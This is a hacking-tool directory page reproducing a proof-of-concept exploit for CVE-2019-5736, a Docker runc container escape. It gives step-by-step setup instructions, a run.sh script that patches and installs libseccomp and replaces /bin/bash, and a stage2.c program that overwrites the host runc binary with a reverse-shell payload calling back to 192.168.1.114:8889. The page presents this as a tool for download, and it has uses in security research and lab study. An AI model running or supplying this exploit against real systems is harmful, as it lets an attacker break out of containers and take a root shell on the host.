Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-5736 | Kitploit
Tools/GitHubGitHub/si1ent-le/cve-2019-5736
Privilege EscalationVulnerability AnalysisExploitationRed TeamingContainer EscapeBinary Exploitation
GitHubsi1ent-le/cve-2019-5736

CVE-2019-5736

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-5736

Reference: cve-2019-5736-poc

  • (1). edit poc command in stage2.cve
  • (2). build docker docker build -t cve .
  • (3). run docker docker run -d cve /bin/bash -c "tail -f /dev/null"
  • (4). backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
  • (5). docker exec -it docker-id /bin/bash
  • (6). edit run.sh libseccomp edition Exp:cd /root/libseccomp-2.5.1
  • (7). in docker run cd /root && ./run.sh && exit
  • (8). docker exec -it docker-id /bin/bash

Modifications

run.sh

root@kitploit:~
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash

Hands-on

Environment

root@kitploit:~
宿主机:Ubuntu18.04
Docker-ce:18.06.1~ce~3-0~ubuntu
docker-runc:1.0

Environment Setup

root@kitploit:~
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

Modifying the C File

stage2.c

root@kitploit:~
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}

Building the Image

root@kitploit:~
docker build -t cve-2019-5736 .

image

Running

root@kitploit:~
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"

image

Backing Up the Host's docker-runc

Since the docker-runc file on the system will be overwritten in a later step

root@kitploit:~
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

Logging Into the Container

root@kitploit:~
docker exec -it 655378598a92 /bin/bash

Executing Inside the Container

root@kitploit:~
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root 
./run.sh
exit

Reconnecting to the Container

root@kitploit:~
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell

image

Download Tool